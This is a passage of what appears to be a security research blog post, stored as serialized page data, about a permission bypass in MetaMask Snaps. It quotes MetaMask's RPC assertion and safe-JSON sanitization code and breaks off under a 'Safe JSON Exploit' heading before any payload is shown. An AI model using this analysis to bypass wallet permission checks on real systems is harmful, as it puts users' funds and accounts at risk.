attacks",{"type":24,"tag":25,"props":37842,"children":37843},{},[37844],{"type":29,"value":37845},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":16422,"props":37847,"children":37848},{},[37849,37854,37859,37864],{"type":24,"tag":67,"props":37850,"children":37851},{},[37852],{"type":29,"value":37853},"Broken SES Container isolation",{"type":24,"tag":67,"props":37855,"children":37856},{},[37857],{"type":29,"value":37858},"Insecure endowments in Containers",{"type":24,"tag":67,"props":37860,"children":37861},{},[37862],{"type":29,"value":37863},"Incorrect RPC permission checks",{"type":24,"tag":67,"props":37865,"children":37866},{},[37867],{"type":29,"value":37868},"Insecure snap installation/update",{"type":24,"tag":25,"props":37870,"children":37871},{},[37872],{"type":29,"value":37873},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":37875,"children":37876},{},[37877],{"type":29,"value":37878},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":1818,"props":37880,"children":37882},{"id":37881},"rpc-interfaces-endowments",[37883],{"type":29,"value":37884},"RPC interfaces endowments",{"type":24,"tag":18631,"props":37886,"children":37888},{"id":37887},"providers-limitations",[37889],{"type":29,"value":37890},"Providers limitations",{"type":24,"tag":25,"props":37892,"children":37893},{},[37894,37896,37902,37903,37908,37910,37917],{"type":29,"value":37895},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":32,"props":37897,"children":37899},{"className":37898},[],[37900],{"type":29,"value":37901},"snap",{"type":29,"value":2287},{"type":24,"tag":32,"props":37904,"children":37906},{"className":37905},[],[37907],{"type":29,"value":166},{"type":29,"value":37909}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":2033,"props":37911,"children":37914},{"href":37912,"rel":37913},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[2037],[37915],{"type":29,"value":37916},"methods",{"type":29,"value":195},{"type":24,"tag":73,"props":37919,"children":37921},{"className":35348,"code":37920,"language":35350,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[37922],{"type":24,"tag":32,"props":37923,"children":37924},{"__ignoreMap":7},[37925,37963,37971,37983,38051,38112,38124,38132,38143,38183,38213,38225,38250,38257,38265,38272,38310],{"type":24,"tag":83,"props":37926,"children":37927},{"class":85,"line":86},[37928,37933,37937,37942,37946,37950,37954,37959],{"type":24,"tag":83,"props":37929,"children":37930},{"style":117},[37931],{"type":29,"value":37932},"export",{"type":24,"tag":83,"props":37934,"children":37935},{"style":90},[37936],{"type":29,"value":98},{"type":24,"tag":83,"props":37938,"children":37939},{"style":101},[37940],{"type":29,"value":37941}," assertSnapOutboundRequest",{"type":24,"tag":83,"props":37943,"children":37944},{"style":107},[37945],{"type":29,"value":558},{"type":24,"tag":83,"props":37947,"children":37948},{"style":137},[37949],{"type":29,"value":514},{"type":24,"tag":83,"props":37951,"children":37952},{"style":143},[37953],{"type":29,"value":195},{"type":24,"tag":83,"props":37955,"children":37956},{"style":3163},[37957],{"type":29,"value":37958}," RequestArguments",{"type":24,"tag":83,"props":37960,"children":37961},{"style":107},[37962],{"type":29,"value":253},{"type":24,"tag":83,"props":37964,"children":37965},{"class":85,"line":113},[37966],{"type":24,"tag":83,"props":37967,"children":37968},{"style":2735},[37969],{"type":29,"value":37970},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":83,"props":37972,"children":37973},{"class":85,"line":128},[37974,37979],{"type":24,"tag":83,"props":37975,"children":37976},{"style":101},[37977],{"type":29,"value":37978},"  assert",{"type":24,"tag":83,"props":37980,"children":37981},{"style":107},[37982],{"type":29,"value":3208},{"type":24,"tag":83,"props":37984,"children":37985},{"class":85,"line":183},[37986,37991,37995,38000,38004,38009,38013,38017,38021,38025,38029,38033,38037,38042,38046],{"type":24,"tag":83,"props":37987,"children":37988},{"style":3163},[37989],{"type":29,"value":37990},"    String",{"type":24,"tag":83,"props":37992,"children":37993},{"style":107},[37994],{"type":29,"value":161},{"type":24,"tag":83,"props":37996,"children":37997},{"style":137},[37998],{"type":29,"value":37999},"prototype",{"type":24,"tag":83,"props":38001,"children":38002},{"style":107},[38003],{"type":29,"value":161},{"type":24,"tag":83,"props":38005,"children":38006},{"style":137},[38007],{"type":29,"value":38008},"startsWith",{"type":24,"tag":83,"props":38010,"children":38011},{"style":107},[38012],{"type":29,"value":161},{"type":24,"tag":83,"props":38014,"children":38015},{"style":101},[38016],{"type":29,"value":553},{"type":24,"tag":83,"props":38018,"children":38019},{"style":107},[38020],{"type":29,"value":558},{"type":24,"tag":83,"props":38022,"children":38023},{"style":137},[38024],{"type":29,"value":514},{"type":24,"tag":83,"props":38026,"children":38027},{"style":107},[38028],{"type":29,"value":161},{"type":24,"tag":83,"props":38030,"children":38031},{"style":137},[38032],{"type":29,"value":1112},{"type":24,"tag":83,"props":38034,"children":38035},{"style":107},[38036],{"type":29,"value":568},{"type":24,"tag":83,"props":38038,"children":38039},{"style":187},[38040],{"type":29,"value":38041},"'wallet_'",{"type":24,"tag":83,"props":38043,"children":38044},{"style":107},[38045],{"type":29,"value":633},{"type":24,"tag":83,"props":38047,"children":38048},{"style":143},[38049],{"type":29,"value":38050},"||\n",{"type":24,"tag":83,"props":38052,"children":38053},{"class":85,"line":203},[38054,38059,38063,38067,38071,38075,38079,38083,38087,38091,38095,38099,38103,38108],{"type":24,"tag":83,"props":38055,"children":38056},{"style":3163},[38057],{"type":29,"value":38058},"      String",{"type":24,"tag":83,"props":38060,"children":38061},{"style":107},[38062],{"type":29,"value":161},{"type":24,"tag":83,"props":38064,"children":38065},{"style":137},[38066],{"type":29,"value":37999},{"type":24,"tag":83,"props":38068,"children":38069},{"style":107},[38070],{"type":29,"value":161},{"type":24,"tag":83,"props":38072,"children":38073},{"style":137},[38074],{"type":29,"value":38008},{"type":24,"tag":83,"props":38076,"children":38077},{"style":107},[38078],{"type":29,"value":161},{"type":24,"tag":83,"props":38080,"children":38081},{"style":101},[38082],{"type":29,"value":553},{"type":24,"tag":83,"props":38084,"children":38085},{"style":107},[38086],{"type":29,"value":558},{"type":24,"tag":83,"props":38088,"children":38089},{"style":137},[38090],{"type":29,"value":514},{"type":24,"tag":83,"props":38092,"children":38093},{"style":107},[38094],{"type":29,"value":161},{"type":24,"tag":83,"props":38096,"children":38097},{"style":137},[38098],{"type":29,"value":1112},{"type":24,"tag":83,"props":38100,"children":38101},{"style":107},[38102],{"type":29,"value":568},{"type":24,"tag":83,"props":38104,"children":38105},{"style":187},[38106],{"type":29,"value":38107},"'snap_'",{"type":24,"tag":83,"props":38109,"children":38110},{"style":107},[38111],{"type":29,"value":6483},{"type":24,"tag":83,"props":38113,"children":38114},{"class":85,"line":212},[38115,38120],{"type":24,"tag":83,"props":38116,"children":38117},{"style":187},[38118],{"type":29,"value":38119},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":83,"props":38121,"children":38122},{"style":107},[38123],{"type":29,"value":989},{"type":24,"tag":83,"props":38125,"children":38126},{"class":85,"line":256},[38127],{"type":24,"tag":83,"props":38128,"children":38129},{"style":107},[38130],{"type":29,"value":38131},"  );\n",{"type":24,"tag":83,"props":38133,"children":38134},{"class":85,"line":270},[38135,38139],{"type":24,"tag":83,"props":38136,"children":38137},{"style":101},[38138],{"type":29,"value":37978},{"type":24,"tag":83,"props":38140,"children":38141},{"style":107},[38142],{"type":29,"value":3208},{"type":24,"tag":83,"props":38144,"children":38145},{"class":85,"line":302},[38146,38150,38155,38159,38163,38167,38171,38175,38179],{"type":24,"tag":83,"props":38147,"children":38148},{"style":143},[38149],{"type":29,"value":20710},{"type":24,"tag":83,"props":38151,"children":38152},{"style":137},[38153],{"type":29,"value":38154},"BLOCKED_RPC_METHODS",{"type":24,"tag":83,"props":38156,"children":38157},{"style":107},[38158],{"type":29,"value":161},{"type":24,"tag":83,"props":38160,"children":38161},{"style":101},[38162],{"type":29,"value":690},{"type":24,"tag":83,"props":38164,"children":38165},{"style":107},[38166],{"type":29,"value":558},{"type":24,"tag":83,"props":38168,"children":38169},{"style":137},[38170],{"type":29,"value":514},{"type":24,"tag":83,"props":38172,"children":38173},{"style":107},[38174],{"type":29,"value":161},{"type":24,"tag":83,"props":38176,"children":38177},{"style":137},[38178],{"type":29,"value":1112},{"type":24,"tag":83,"props":38180,"children":38181},{"style":107},[38182],{"type":29,"value":6483},{"type":24,"tag":83,"props":38184,"children":38185},{"class":85,"line":324},[38186,38191,38195,38200,38204,38209],{"type":24,"tag":83,"props":38187,"children":38188},{"style":137},[38189],{"type":29,"value":38190},"    ethErrors",{"type":24,"tag":83,"props":38192,"children":38193},{"style":107},[38194],{"type":29,"value":161},{"type":24,"tag":83,"props":38196,"children":38197},{"style":137},[38198],{"type":29,"value":38199},"rpc",{"type":24,"tag":83,"props":38201,"children":38202},{"style":107},[38203],{"type":29,"value":161},{"type":24,"tag":83,"props":38205,"children":38206},{"style":101},[38207],{"type":29,"value":38208},"methodNotFound",{"type":24,"tag":83,"props":38210,"children":38211},{"style":107},[38212],{"type":29,"value":180},{"type":24,"tag":83,"props":38214,"children":38215},{"class":85,"line":345},[38216,38221],{"type":24,"tag":83,"props":38217,"children":38218},{"style":137},[38219],{"type":29,"value":38220},"      data:",{"type":24,"tag":83,"props":38222,"children":38223},{"style":107},[38224],{"type":29,"value":125},{"type":24,"tag":83,"props":38226,"children":38227},{"class":85,"line":358},[38228,38233,38238,38242,38246],{"type":24,"tag":83,"props":38229,"children":38230},{"style":137},[38231],{"type":29,"value":38232},"        method:",{"type":24,"tag":83,"props":38234,"children":38235},{"style":137},[38236],{"type":29,"value":38237}," args",{"type":24,"tag":83,"props":38239,"children":38240},{"style":107},[38241],{"type":29,"value":161},{"type":24,"tag":83,"props":38243,"children":38244},{"style":137},[38245],{"type":29,"value":1112},{"type":24,"tag":83,"props":38247,"children":38248},{"style":107},[38249],{"type":29,"value":989},{"type":24,"tag":83,"props":38251,"children":38252},{"class":85,"line":367},[38253],{"type":24,"tag":83,"props":38254,"children":38255},{"style":107},[38256],{"type":29,"value":2197},{"type":24,"tag":83,"props":38258,"children":38259},{"class":85,"line":406},[38260],{"type":24,"tag":83,"props":38261,"children":38262},{"style":107},[38263],{"type":29,"value":38264},"    }),\n",{"type":24,"tag":83,"props":38266,"children":38267},{"class":85,"line":427},[38268],{"type":24,"tag":83,"props":38269,"children":38270},{"style":107},[38271],{"type":29,"value":38131},{"type":24,"tag":83,"props":38273,"children":38274},{"class":85,"line":440},[38275,38280,38284,38288,38292,38297,38301,38306],{"type":24,"tag":83,"props":38276,"children":38277},{"style":101},[38278],{"type":29,"value":38279},"  assertStruct",{"type":24,"tag":83,"props":38281,"children":38282},{"style":107},[38283],{"type":29,"value":558},{"type":24,"tag":83,"props":38285,"children":38286},{"style":137},[38287],{"type":29,"value":514},{"type":24,"tag":83,"props":38289,"children":38290},{"style":107},[38291],{"type":29,"value":568},{"type":24,"tag":83,"props":38293,"children":38294},{"style":137},[38295],{"type":29,"value":38296},"JsonStruct",{"type":24,"tag":83,"props":38298,"children":38299},{"style":107},[38300],{"type":29,"value":568},{"type":24,"tag":83,"props":38302,"children":38303},{"style":187},[38304],{"type":29,"value":38305},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":83,"props":38307,"children":38308},{"style":107},[38309],{"type":29,"value":581},{"type":24,"tag":83,"props":38311,"children":38312},{"class":85,"line":449},[38313],{"type":24,"tag":83,"props":38314,"children":38315},{"style":107},[38316],{"type":29,"value":464},{"type":24,"tag":25,"props":38318,"children":38319},{},[38320,38322,38327,38329,38335,38336,38342],{"type":29,"value":38321},"This function is called by the ",{"type":24,"tag":32,"props":38323,"children":38325},{"className":38324},[],[38326],{"type":29,"value":37901},{"type":29,"value":38328}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":32,"props":38330,"children":38332},{"className":38331},[],[38333],{"type":29,"value":38334},"wallet_",{"type":29,"value":12879},{"type":24,"tag":32,"props":38337,"children":38339},{"className":38338},[],[38340],{"type":29,"value":38341},"snap_",{"type":29,"value":38343},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":38345,"children":38346},{},[38347,38349,38354,38356,38361,38363,38369],{"type":29,"value":38348},"On the other hand, the ",{"type":24,"tag":32,"props":38350,"children":38352},{"className":38351},[],[38353],{"type":29,"value":166},{"type":29,"value":38355}," provider only blocks methods starting with ",{"type":24,"tag":32,"props":38357,"children":38359},{"className":38358},[],[38360],{"type":29,"value":38341},{"type":29,"value":38362}," and the blocked methods. However, it requires the ",{"type":24,"tag":32,"props":38364,"children":38366},{"className":38365},[],[38367],{"type":29,"value":38368},"endowment:ethereum-provider",{"type":29,"value":38370}," permission in the snap manifest.",{"type":24,"tag":18631,"props":38372,"children":38374},{"id":38373},"execution-flow",[38375],{"type":29,"value":38376},"Execution flow",{"type":24,"tag":25,"props":38378,"children":38379},{},[38380,38382,38387,38388,38393,38395,38400,38401,38407],{"type":29,"value":38381},"Both providers (",{"type":24,"tag":32,"props":38383,"children":38385},{"className":38384},[],[38386],{"type":29,"value":37901},{"type":29,"value":2287},{"type":24,"tag":32,"props":38389,"children":38391},{"className":38390},[],[38392],{"type":29,"value":166},{"type":29,"value":38394},") are built outside the SES container with a ",{"type":24,"tag":32,"props":38396,"children":38398},{"className":38397},[],[38399],{"type":29,"value":175},{"type":29,"value":6204},{"type":24,"tag":2033,"props":38402,"children":38405},{"href":38403,"rel":38404},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[2037],[38406],{"type":29,"value":31126},{"type":29,"value":195},{"type":24,"tag":73,"props":38409,"children":38411},{"className":35664,"code":38410,"language":35666,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[38412],{"type":24,"tag":32,"props":38413,"children":38414},{"__ignoreMap":7},[38415,38462,38487,38520,38555,38567,38587,38625,38645,38652,38668,38701,38708],{"type":24,"tag":83,"props":38416,"children":38417},{"class":85,"line":86},[38418,38422,38426,38430,38434,38438,38442,38446,38450,38454,38458],{"type":24,"tag":83,"props":38419,"children":38420},{"style":90},[38421],{"type":29,"value":526},{"type":24,"tag":83,"props":38423,"children":38424},{"style":101},[38425],{"type":29,"value":31131},{"type":24,"tag":83,"props":38427,"children":38428},{"style":143},[38429],{"type":29,"value":146},{"type":24,"tag":83,"props":38431,"children":38432},{"style":90},[38433],{"type":29,"value":496},{"type":24,"tag":83,"props":38435,"children":38436},{"style":107},[38437],{"type":29,"value":223},{"type":24,"tag":83,"props":38439,"children":38440},{"style":137},[38441],{"type":29,"value":514},{"type":24,"tag":83,"props":38443,"children":38444},{"style":143},[38445],{"type":29,"value":195},{"type":24,"tag":83,"props":38447,"children":38448},{"style":3163},[38449],{"type":29,"value":37958},{"type":24,"tag":83,"props":38451,"children":38452},{"style":107},[38453],{"type":29,"value":633},{"type":24,"tag":83,"props":38455,"children":38456},{"style":90},[38457],{"type":29,"value":14564},{"type":24,"tag":83,"props":38459,"children":38460},{"style":107},[38461],{"type":29,"value":125},{"type":24,"tag":83,"props":38463,"children":38464},{"class":85,"line":113},[38465,38470,38474,38478,38482],{"type":24,"tag":83,"props":38466,"children":38467},{"style":101},[38468],{"type":29,"value":38469},"      assertSnapOutboundRequest",{"type":24,"tag":83,"props":38471,"children":38472},{"style":107},[38473],{"type":29,"value":558},{"type":24,"tag":83,"props":38475,"children":38476},{"style":137},[38477],{"type":29,"value":514},{"type":24,"tag":83,"props":38479,"children":38480},{"style":107},[38481],{"type":29,"value":28103},{"type":24,"tag":83,"props":38483,"children":38484},{"style":2735},[38485],{"type":29,"value":38486},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":83,"props":38488,"children":38489},{"class":85,"line":128},[38490,38494,38499,38503,38508,38512,38516],{"type":24,"tag":83,"props":38491,"children":38492},{"style":90},[38493],{"type":29,"value":1587},{"type":24,"tag":83,"props":38495,"children":38496},{"style":137},[38497],{"type":29,"value":38498}," sanitizedArgs",{"type":24,"tag":83,"props":38500,"children":38501},{"style":143},[38502],{"type":29,"value":146},{"type":24,"tag":83,"props":38504,"children":38505},{"style":101},[38506],{"type":29,"value":38507}," getSafeJson",{"type":24,"tag":83,"props":38509,"children":38510},{"style":107},[38511],{"type":29,"value":558},{"type":24,"tag":83,"props":38513,"children":38514},{"style":137},[38515],{"type":29,"value":514},{"type":24,"tag":83,"props":38517,"children":38518},{"style":107},[38519],{"type":29,"value":581},{"type":24,"tag":83,"props":38521,"children":38522},{"class":85,"line":183},[38523,38528,38532,38537,38541,38545,38550],{"type":24,"tag":83,"props":38524,"children":38525},{"style":90},[38526],{"type":29,"value":38527},"      this",{"type":24,"tag":83,"props":38529,"children":38530},{"style":107},[38531],{"type":29,"value":161},{"type":24,"tag":83,"props":38533,"children":38534},{"style":101},[38535],{"type":29,"value":38536},"notify",{"type":24,"tag":83,"props":38538,"children":38539},{"style":107},[38540],{"type":29,"value":31241},{"type":24,"tag":83,"props":38542,"children":38543},{"style":137},[38544],{"type":29,"value":31246},{"type":24,"tag":83,"props":38546,"children":38547},{"style":187},[38548],{"type":29,"value":38549}," 'OutboundRequest'",{"type":24,"tag":83,"props":38551,"children":38552},{"style":107},[38553],{"type":29,"value":38554}," });\n",{"type":24,"tag":83,"props":38556,"children":38557},{"class":85,"line":203},[38558,38563],{"type":24,"tag":83,"props":38559,"children":38560},{"style":117},[38561],{"type":29,"value":38562},"      try",{"type":24,"tag":83,"props":38564,"children":38565},{"style":107},[38566],{"type":29,"value":125},{"type":24,"tag":83,"props":38568,"children":38569},{"class":85,"line":212},[38570,38574,38578,38583],{"type":24,"tag":83,"props":38571,"children":38572},{"style":117},[38573],{"type":29,"value":15482},{"type":24,"tag":83,"props":38575,"children":38576},{"style":117},[38577],{"type":29,"value":151},{"type":24,"tag":83,"props":38579,"children":38580},{"style":101},[38581],{"type":29,"value":38582}," withTeardown",{"type":24,"tag":83,"props":38584,"children":38585},{"style":107},[38586],{"type":29,"value":3208},{"type":24,"tag":83,"props":38588,"children":38589},{"class":85,"line":256},[38590,38595,38599,38604,38608,38613,38617,38621],{"type":24,"tag":83,"props":38591,"children":38592},{"style":101},[38593],{"type":29,"value":38594},"          originalRequest",{"type":24,"tag":83,"props":38596,"children":38597},{"style":107},[38598],{"type":29,"value":558},{"type":24,"tag":83,"props":38600,"children":38601},{"style":137},[38602],{"type":29,"value":38603},"sanitizedArgs",{"type":24,"tag":83,"props":38605,"children":38606},{"style":117},[38607],{"type":29,"value":8572},{"type":24,"tag":83,"props":38609,"children":38610},{"style":3163},[38611],{"type":29,"value":38612}," unknown",{"type":24,"tag":83,"props":38614,"children":38615},{"style":117},[38616],{"type":29,"value":8572},{"type":24,"tag":83,"props":38618,"children":38619},{"style":3163},[38620],{"type":29,"value":37958},{"type":24,"tag":83,"props":38622,"children":38623},{"style":107},[38624],{"type":29,"value":6483},{"type":24,"tag":83,"props":38626,"children":38627},{"class":85,"line":270},[38628,38633,38637,38641],{"type":24,"tag":83,"props":38629,"children":38630},{"style":90},[38631],{"type":29,"value":38632},"          this",{"type":24,"tag":83,"props":38634,"children":38635},{"style":117},[38636],{"type":29,"value":8572},{"type":24,"tag":83,"props":38638,"children":38639},{"style":3163},[38640],{"type":29,"value":10105},{"type":24,"tag":83,"props":38642,"children":38643},{"style":107},[38644],{"type":29,"value":989},{"type":24,"tag":83,"props":38646,"children":38647},{"class":85,"line":302},[38648],{"type":24,"tag":83,"props":38649,"children":38650},{"style":107},[38651],{"type":29,"value":7491},{"type":24,"tag":83,"props":38653,"children":38654},{"class":85,"line":324},[38655,38659,38664],{"type":24,"tag":83,"props":38656,"children":38657},{"style":107},[38658],{"type":29,"value":1719},{"type":24,"tag":83,"props":38660,"children":38661},{"style":117},[38662],{"type":29,"value":38663},"finally",{"type":24,"tag":83,"props":38665,"children":38666},{"style":107},[38667],{"type":29,"value":125},{"type":24,"tag":83,"props":38669,"children":38670},{"class":85,"line":345},[38671,38676,38680,38684,38688,38692,38697],{"type":24,"tag":83,"props":38672,"children":38673},{"style":90},[38674],{"type":29,"value":38675},"        this",{"type":24,"tag":83,"props":38677,"children":38678},{"style":107},[38679],{"type":29,"value":161},{"type":24,"tag":83,"props":38681,"children":38682},{"style":101},[38683],{"type":29,"value":38536},{"type":24,"tag":83,"props":38685,"children":38686},{"style":107},[38687],{"type":29,"value":31241},{"type":24,"tag":83,"props":38689,"children":38690},{"style":137},[38691],{"type":29,"value":31246},{"type":24,"tag":83,"props":38693,"children":38694},{"style":187},[38695],{"type":29,"value":38696}," 'OutboundResponse'",{"type":24,"tag":83,"props":38698,"children":38699},{"style":107},[38700],{"type":29,"value":38554},{"type":24,"tag":83,"props":38702,"children":38703},{"class":85,"line":358},[38704],{"type":24,"tag":83,"props":38705,"children":38706},{"style":107},[38707],{"type":29,"value":364},{"type":24,"tag":83,"props":38709,"children":38710},{"class":85,"line":367},[38711],{"type":24,"tag":83,"props":38712,"children":38713},{"style":107},[38714],{"type":29,"value":38715},"    };\n",{"type":24,"tag":25,"props":38717,"children":38718},{},[38719,38721,38726,38728,38733],{"type":29,"value":38720},"In particular, this function is from the ",{"type":24,"tag":32,"props":38722,"children":38724},{"className":38723},[],[38725],{"type":29,"value":37901},{"type":29,"value":38727}," provider, but the only thing that changes between this and ",{"type":24,"tag":32,"props":38729,"children":38731},{"className":38730},[],[38732],{"type":29,"value":166},{"type":29,"value":38734}," is the assert function in the first line.",{"type":24,"tag":25,"props":38736,"children":38737},{},[38738],{"type":29,"value":38739},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":63,"props":38741,"children":38742},{},[38743,38755,38760],{"type":24,"tag":67,"props":38744,"children":38745},{},[38746,38748,38753],{"type":29,"value":38747},"Assert if ",{"type":24,"tag":32,"props":38749,"children":38751},{"className":38750},[],[38752],{"type":29,"value":514},{"type":29,"value":38754}," are valid",{"type":24,"tag":67,"props":38756,"children":38757},{},[38758],{"type":29,"value":38759},"getSafeJson to get sanitizedArgs",{"type":24,"tag":67,"props":38761,"children":38762},{},[38763],{"type":29,"value":38764},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":38766,"children":38767},{},[38768,38770,38776],{"type":29,"value":38769},"Obs: ",{"type":24,"tag":32,"props":38771,"children":38773},{"className":38772},[],[38774],{"type":29,"value":38775},"originalRequest",{"type":29,"value":38777}," makes the RPC call to metamask service worker",{"type":24,"tag":1818,"props":38779,"children":38781},{"id":38780},"safe-json-exploit",[38782],{"type":29,"value":38783},"Safe JSON Exploit",{"type":24,"tag":25,"props":38785,"children":38786},{},[38787,38789,38795,38797,38802,38804,38810],{"type":29,"value":38788},"As we dug further into the",{"type":24,"tag":32,"props":38790,"children":38792},{"className":38791},[],[38793],{"type":29,"value":38794},"getSafeJson",{"type":29,"value":38796}," function (defined in ",{"type":24,"tag":32,"props":38798,"children":38800},{"className":38799},[],[38801],{"type":29,"value":37021},{"type":29,"value":38803}," package) we discovered the following ",{"type":24,"tag":2033,"props":38805,"children":38808},{"href":38806,"rel":38807},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[2037],[38809],{"type":29,"value":32},{"type":29,"value":195},{"type":24,"tag":73,"props":38812,"children":38814},{"className":35348,"code":38813,"language":35350,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[38815],{"type":24,"tag":32,"props":38816,"children":38817},{"__ignoreMap":7},[38818,38883,38910,38934,38988,38996,39042,39058,39065,39082,39089,39096],{"type":24,"tag":83,"props":38819,"children":38820},{"class":85,"line":86},[38821,38825,38830,38835,38839,38844,38848,38853,38857,38861,38866,38871,38875,38879],{"type":24,"tag":83,"props":38822,"children":38823},{"style":117},[38824],{"type":29,"value":37932},{"type":24,"tag":83,"props":38826,"children":38827},{"style":90},[38828],{"type":29,"value":38829}," const",{"type":24,"tag":83,"props":38831,"children":38832},{"style":137},[38833],{"type":29,"value":38834}," JsonStruct",{"type":24,"tag":83,"props":38836,"children":38837},{"style":143},[38838],{"type":29,"value":146},{"type":24,"tag":83,"props":38840,"children":38841},{"style":101},[38842],{"type":29,"value":38843}," coerce",{"type":24,"tag":83,"props":38845,"children":38846},{"style":107},[38847],{"type":29,"value":558},{"type":24,"tag":83,"props":38849,"children":38850},{"style":137},[38851],{"type":29,"value":38852},"UnsafeJsonStruct",{"type":24,"tag":83,"props":38854,"children":38855},{"style":107},[38856],{"type":29,"value":568},{"type":24,"tag":83,"props":38858,"children":38859},{"style":101},[38860],{"type":29,"value":16449},{"type":24,"tag":83,"props":38862,"children":38863},{"style":107},[38864],{"type":29,"value":38865},"(), (",{"type":24,"tag":83,"props":38867,"children":38868},{"style":137},[38869],{"type":29,"value":38870},"value",{"type":24,"tag":83,"props":38872,"children":38873},{"style":107},[38874],{"type":29,"value":633},{"type":24,"tag":83,"props":38876,"children":38877},{"style":90},[38878],{"type":29,"value":14564},{"type":24,"tag":83,"props":38880,"children":38881},{"style":107},[38882],{"type":29,"value":125},{"type":24,"tag":83,"props":38884,"children":38885},{"class":85,"line":113},[38886,38890,38894,38898,38902,38906],{"type":24,"tag":83,"props":38887,"children":38888},{"style":101},[38889],{"type":29,"value":38279},{"type":24,"tag":83,"props":38891,"children":38892},{"style":107},[38893],{"type":29,"value":558},{"type":24,"tag":83,"props":38895,"children":38896},{"style":137},[38897],{"type":29,"value":38870},{"type":24,"tag":83,"props":38899,"children":38900},{"style":107},[38901],{"type":29,"value":568},{"type":24,"tag":83,"props":38903,"children":38904},{"style":137},[38905],{"type":29,"value":38852},{"type":24,"tag":83,"props":38907,"children":38908},{"style":107},[38909],{"type":29,"value":581},{"type":24,"tag":83,"props":38911,"children":38912},{"class":85,"line":128},[38913,38917,38921,38925,38930],{"type":24,"tag":83,"props":38914,"children":38915},{"style":117},[38916],{"type":29,"value":1054},{"type":24,"tag":83,"props":38918,"children":38919},{"style":137},[38920],{"type":29,"value":901},{"type":24,"tag":83,"props":38922,"children":38923},{"style":107},[38924],{"type":29,"value":161},{"type":24,"tag":83,"props":38926,"children":38927},{"style":101},[38928],{"type":29,"value":38929},"parse",{"type":24,"tag":83,"props":38931,"children":38932},{"style":107},[38933],{"type":29,"value":3208},{"type":24,"tag":83,"props":38935,"children":38936},{"class":85,"line":183},[38937,38942,38946,38950,38954,38958,38962,38967,38971,38976,38980,38984],{"type":24,"tag":83,"props":38938,"children":38939},{"style":137},[38940],{"type":29,"value":38941},"    JSON",{"type":24,"tag":83,"props":38943,"children":38944},{"style":107},[38945],{"type":29,"value":161},{"type":24,"tag":83,"props":38947,"children":38948},{"style":101},[38949],{"type":29,"value":910},{"type":24,"tag":83,"props":38951,"children":38952},{"style":107},[38953],{"type":29,"value":558},{"type":24,"tag":83,"props":38955,"children":38956},{"style":137},[38957],{"type":29,"value":38870},{"type":24,"tag":83,"props":38959,"children":38960},{"style":107},[38961],{"type":29,"value":8563},{"type":24,"tag":83,"props":38963,"children":38964},{"style":137},[38965],{"type":29,"value":38966},"propKey",{"type":24,"tag":83,"props":38968,"children":38969},{"style":107},[38970],{"type":29,"value":568},{"type":24,"tag":83,"props":38972,"children":38973},{"style":137},[38974],{"type":29,"value":38975},"propValue",{"type":24,"tag":83,"props":38977,"children":38978},{"style":107},[38979],{"type":29,"value":633},{"type":24,"tag":83,"props":38981,"children":38982},{"style":90},[38983],{"type":29,"value":14564},{"type":24,"tag":83,"props":38985,"children":38986},{"style":107},[38987],{"type":29,"value":125},{"type":24,"tag":83,"props":38989,"children":38990},{"class":85,"line":203},[38991],{"type":24,"tag":83,"props":38992,"children":38993},{"style":2735},[38994],{"type":29,"value":38995},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":83,"props":38997,"children":38998},{"class":85,"line":212},[38999,39003,39007,39011,39015,39020,39024,39029,39033,39038],{"type":24,"tag":83,"props":39000,"children":39001},{"style":117},[39002],{"type":29,"value":276},{"type":24,"tag":83,"props":39004,"children":39005},{"style":107},[39006],{"type":29,"value":223},{"type":24,"tag":83,"props":39008,"children":39009},{"style":137},[39010],{"type":29,"value":38966},{"type":24,"tag":83,"props":39012,"children":39013},{"style":143},[39014],{"type":29,"value":877},{"type":24,"tag":83,"props":39016,"children":39017},{"style":187},[39018],{"type":29,"value":39019}," 